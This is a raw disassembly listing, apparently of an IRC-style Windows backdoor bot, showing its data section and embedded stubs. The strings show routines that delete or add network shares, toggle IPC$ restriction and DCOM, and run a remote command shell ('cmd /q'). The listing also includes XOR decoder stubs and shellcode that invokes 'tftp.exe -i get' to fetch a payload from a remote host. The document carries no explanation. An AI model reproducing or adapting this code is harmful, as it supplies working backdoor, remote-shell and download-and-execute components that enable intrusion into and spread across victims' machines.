		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438D58	db    2			; DATA XREF: sub_415F86:loc_4161E8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_438D94	db    2			; DATA XREF: sub_415F86+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438DC8	db    2			; DATA XREF: sub_415F86:loc_416155o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_438E04	db    2			; DATA XREF: sub_415F86+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438E38	db    2			; DATA XREF: sub_415F86:loc_4160B8o
					; sub_4162AA:loc_4163D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_438E78	db    2			; DATA XREF: sub_415F86:loc_4160B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_438EC4	db    2			; DATA XREF: sub_415F86:loc_416093o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_438F08	db    2			; DATA XREF: sub_415F86+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F86+EDo
					; sub_4162AA+EDo
		align 4
unk_438F68	db    2			; DATA XREF: sub_415F86+91o
					; sub_4162AA+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_438FA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F86:loc_415FF3o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_438FD4	db    2			; DATA XREF: sub_415F86+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F86+54o
					; sub_4162AA+54o
		align 4
word_439014	dw 4Eh			; DATA XREF: sub_415F86+38r
		align 4
unk_439018	db    2			; DATA XREF: sub_4162AA+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4162AA+230o
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4162AA+219o
unk_439058	db    2			; DATA XREF: sub_4162AA:loc_416449o
					; sub_4162AA:loc_41651Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_439090	db    2			; DATA XREF: sub_4162AA+198o
					; sub_4162AA+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_4390C0	db    2			; DATA XREF: sub_4162AA:loc_4163D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43910C	db    2			; DATA XREF: sub_4162AA:loc_4163B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_439150	db    2			; DATA XREF: sub_4162AA+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AA:loc_416317o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4391C8	db    2			; DATA XREF: sub_4162AA+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4391FC	dw 59h			; DATA XREF: sub_4162AA+38r
		align 10h
dword_439200	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C4+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_439244	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C4+59o
					; sub_4165C4+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43929C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4392D4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_439324	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416715+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_439374	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41680E+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_41680E+8Co
		align 10h
dword_4393C0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E7+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4

loc_43940C:				; DATA XREF: sub_416C53+C4o
		jmp	short loc_439410
; ---------------------------------------------------------------------------

loc_43940E:				; CODE XREF: _2:loc_439410p
		jmp	short loc_439415
; ---------------------------------------------------------------------------

loc_439410:				; CODE XREF: _2:loc_43940Cj
		call	loc_43940E

loc_439415:				; CODE XREF: _2:loc_43940Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43941A	dw 0FFFFh		; DATA XREF: sub_416C53+CCw
		db 80h,	73h, 0Eh
byte_43941F	db 0FFh			; DATA XREF: sub_416C53+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_439424:				; DATA XREF: sub_416C53+A2o
		jmp	short loc_439428
; ---------------------------------------------------------------------------

loc_439426:				; CODE XREF: _2:loc_439428p
		jmp	short loc_43942D
; ---------------------------------------------------------------------------

loc_439428:				; CODE XREF: _2:loc_439424j
		call	loc_439426

loc_43942D:				; CODE XREF: _2:loc_439426j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_439431	db 0FFh			; DATA XREF: sub_416C53+AAw
		dw 7380h
		db 0Ch
byte_439435	db 0FFh			; DATA XREF: sub_416C53+B0w
		dw 0E243h
		dd 0F9h
dword_43943C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADC+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0	dd 12h			; DATA XREF: sub_416ADC+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADC+79o
aJ		db 'j',0
		db 0E8h
dword_4394B9	dd 17h			; DATA XREF: sub_416ADC+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4394C0
		retn
; ---------------------------------------------------------------------------
byte_4394C0	db 0E8h			; CODE XREF: _2:004394BDj
dword_4394C1	dd 1			; DATA XREF: sub_416ADC+45w
byte_4394C5	db 0, 6Ah, 0		; DATA XREF: sub_416ADC+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4394CF	dd 0FFFFFFEDh		; DATA XREF: sub_416ADC+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_416E17+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FE8+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FE8+35o
dword_439550	dd 0C6561B2Fh		; DATA XREF: sub_417300+4w sub_41730Ar ...
		align 10h
dword_439560	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_43956C	dd offset sub_417D73	; DATA XREF: sub_419AB8r
		dd offset nullsub_3
		dd offset nullsub_3
dword_439578	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_43957C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_439590	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_439594	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_439598	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_43959C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_4395A0	dd offset word_4395AA	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_4395A4	dd offset word_4395AA	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_4395AA	dw 20h			; DATA XREF: sub_42102E+18r
					; _2:off_4395A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_4397B0	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_4397C0	dd offset off_4397C0	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_4397C4	dd offset off_4397C0	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_4397D8
		dd offset dword_4397D8
dword_4397D0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_4397D8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	_2:004397C8o
					; _2:004397CCo
off_43B7E0	dd offset off_4397C0	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_43B7E4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_43B7E8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_43B7EC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_43B8C0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_43B8D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B8E8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_43B8F4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_43B900	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_43B904	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_43B908	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_43B90C	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_43B910	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_43B914	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_43B924	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_43B928	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_43B940	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_43B944	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_43B950	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_43BA34	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43BB9C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BC10	dd 3			; DATA XREF: sub_41EFAB+58r
					; sub_421C3C+C8r
dword_43BC14	dd 7			; DATA XREF: sub_41EFAB+5Er
					; sub_421C3C+CDr
dword_43BC18	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_43BC1C	dd 8Ch			; DATA XREF: sub_41EFAB+82r
					; sub_41EFAB+8Fw ...
dword_43BC20	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_43BC28	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_43BC2C	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_43BCB8	dd offset dword_48A320	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_48A320
		dd 101h
dword_43BCC8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_43BCD8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_43BF38	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_43BF40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_43BF58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_43BF74	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_43BF78	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
dword_43BF7C	dd 545350h, 0Fh	dup(0)	; DATA XREF: _2:off_43BFFCo
dword_43BFBC	dd 544450h, 0Fh	dup(0)	; DATA XREF: _2:off_43C000o
off_43BFFC	dd offset dword_43BF7C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_43C000	dd offset dword_43BFBC	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_43C008	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_43C00C	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_43C010	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_43C018	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_43C01C	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_43C020	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_43C024	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43C054	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_43C058	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43C090	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43C1F0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4220C1+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43C34C	dd offset off_424D00	; DATA XREF: _1:00424EDCo _1:00424FC8o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43C364	dd offset off_424D00	; DATA XREF: _1:off_424D90o
					; _1:00424DD0o	...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43C384	dd offset off_424D00	; DATA XREF: _1:off_424DD8o
					; _1:00424E1Co	...
